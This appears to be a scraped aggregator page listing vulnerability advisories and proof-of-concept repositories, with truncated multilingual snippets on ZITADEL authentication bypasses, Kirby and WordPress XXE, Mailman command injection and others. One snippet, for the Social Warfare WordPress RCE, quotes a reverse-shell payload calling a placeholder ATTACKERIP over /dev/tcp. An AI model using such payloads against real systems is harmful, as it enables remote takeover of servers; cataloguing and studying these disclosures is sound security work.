external_libavc_AOSP10_r33_CVE-2021-0325

Ce depot n’a pas de fichier README...

CVE-2025-4126

POC-CVE-2025-4126 smart contract reentrancy attack vulnerability 验证 Preuve de concept d'attaque par réentrance sur contrat intelligent Ce dépôt contient une preuve de concept PoC démontrant une vulnérabilité d'attaque par réentrance sur les contrats intelligents Ethereum. Le PoC comprend un contr...

external_aac_android-4.2.2_r1_CVE-2023-21282

В этом репозитории нет README...

log4shell-cloud-scanner

.. image:: images/Mitigalogo.png Введение Мы предоставляем DevOps и командам безопасности скрипт для идентификации облачных рабочих нагрузок, которые могут быть уязвимы к уязвимости Log4j log4shell в их AWS-аккаунте. В настоящее время мы поддерживаем уязвимости "CVE-2021-44228" и "CVE-2021-45046"...

EUVD-2026-92108

ZITADEL before 3.4.14 and 4.x before 4.16.2 contains an authentication bypass in the hosted Login V1 UI because the 'external account not found' registration endpoint trusts client-supplied external identity fields without a completed IdP callback. Unauthenticated attackers can submit forged...

CVE-2026-105215

ZITADEL versions before 3.4.14 and 4.x before 4.16.2 are vulnerable to an authentication bypass within the hosted Login V1 UI . The root cause is that the 'external account not found' registration endpoint trusts client-supplied external identity fields without requiring a completed IdP callback ...

CVE-2026-105207 ZITADEL before 4.17.3 Account Takeover via External IdP Linking

ZITADEL 3.0.0 through 3.4.15 and 4.0.0 before 4.17.3 creates links between user accounts and external identity providers without verifying a primary factor or the caller's permission, including on identify-only Login V2 sessions and via the User Service V2 AddIDPLink endpoint. An unauthenticated...

CVE-2026-105207 ZITADEL before 4.17.3 Account Takeover via External IdP Linking

ZITADEL 3.0.0 through 3.4.15 and 4.0.0 before 4.17.3 creates links between user accounts and external identity providers without verifying a primary factor or the caller's permission, including on identify-only Login V2 sessions and via the User Service V2 AddIDPLink endpoint. An unauthenticated...

CVE-2026-105208 ZITADEL before 4.17.3 Session Hijacking via Forgeable IdP Intent Tokens

ZITADEL 4.x before 4.17.3 and 3.x through 3.4.15 protects IdP intent tokens with unauthenticated, malleable encryption, allowing authenticated users to tamper with their own token so it is accepted for another user's external login intent. An attacker who predicts a victim's in-flight intent...

CVE-2026-105207

ZITADEL versions 3.0.0 through 3.4.15 and 4.0.0 before 4.17.3 are vulnerable to an account takeover due to improper verification when linking external identity providers. The User Service V2 AddIDPLink endpoint and identify-only Login V2 sessions fail to verify a primary factor or the caller's pe...

exploit-CVE-2023-38490

Exploitation d'Entité Externe XML XXE de Kirby - CVE-2023-38490 Kirby 3.9.6 Entité Externe XML Exploit pour CVE-2023-38490 / GHSA-q386-w6fg-gmgp. Démonstration de l'exploitation Construire et exécuter l'application de démonstration vulnérable : cd docker docker buildx build -t...

CVE-2023-20052

CVE-2023-20052 Vulnérabilité de fuite d'informations CVE-2023-20052 dans l'analyseur de fichiers DMG de ClamAV Une vulnérabilité dans l'analyseur de fichiers DMG de ClamAV versions 1.0.0 et antérieures, 0.105.1 et antérieures, et 0.103.7 et antérieures pourrait permettre à un attaquant distant no...

CVE-2021-29447

WordPress 5.6-5.7 - Аутентифицированный Автор+ XXE CVE-2021-29447 Использование Шаг 1. Запустите WordPress $ make up-wp Шаг 2. Запустите веб-сервер атакующего $ make up-mal Шаг 3. Создайте вредоносный WAV-файл Без npm wavefile Рекомендуется $ echo -en...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - Social Warfare WordPress 플러그인 RCE 이 저장소는 WordPress용 Social Warfare 플러그인버전 system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' with openPAYLOADFILE, "w" as f: f.writepayload printf"+ Payload written to PAYLOADFILE" def starthttpserver: """Serve payload over HTTP"""...

SOC335-CVE-2024-49138-Investigation

SOC335 – Расследование эксплуатации CVE-2024-49138 Обзор В этом проекте документируется расследование SOC по оповещению об эксплуатации CVE-2024-49138 с использованием платформы LetsDefend. Расследование включало анализ сетевых журналов, исследование индикаторов компрометации, определение того,...

PT-2026-104639

ZITADEL before 3.4.14 and 4.x before 4.16.2 contains an authentication bypass in the hosted Login V1 UI because the 'external account not found' registration endpoint trusts client-supplied external identity fields without a completed IdP callback. Unauthenticated attackers can submit forged...

PT-2026-104632

ZITADEL 4.x before 4.17.3 and 3.x through 3.4.15 protects IdP intent tokens with unauthenticated, malleable encryption, allowing authenticated users to tamper with their own token so it is accepted for another user's external login intent. An attacker who predicts a victim's in-flight intent...

PT-2026-104631

Name of the Vulnerable Software and Affected Versions ZITADEL versions 3.0.0 through 3.4.15 ZITADEL versions 4.0.0 through 4.17.2 Description An issue exists where links are created between user accounts and external identity providers without verifying a primary factor or the caller's permission...

CVE-2025-43920

CVE-2025-43920 : Injection de commandes via l'objet d'un e-mail dans GNU Mailman 2.1.39 Bundle cPanel/WHM Découvert par : Firudin Davudzada & Musazada Aydan Date de divulgation : Avril 2025 Identifiant CVE : CVE-2025-43920 Sévérité : 5.4 Moyen CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N Type...

external_expact_AOSP10_r33_CVE-2022-25315

Expat, релиз 2.2.6 Это Expat — библиотека на C для разбора XML, начатая Джеймсом Кларком в 1997 году. Expat — это потоковый XML-парсер. Это означает, что вы регистрируете обработчики в парсере перед началом разбора. Эти обработчики вызываются, когда парсер обнаруживает соответствующие структуры в...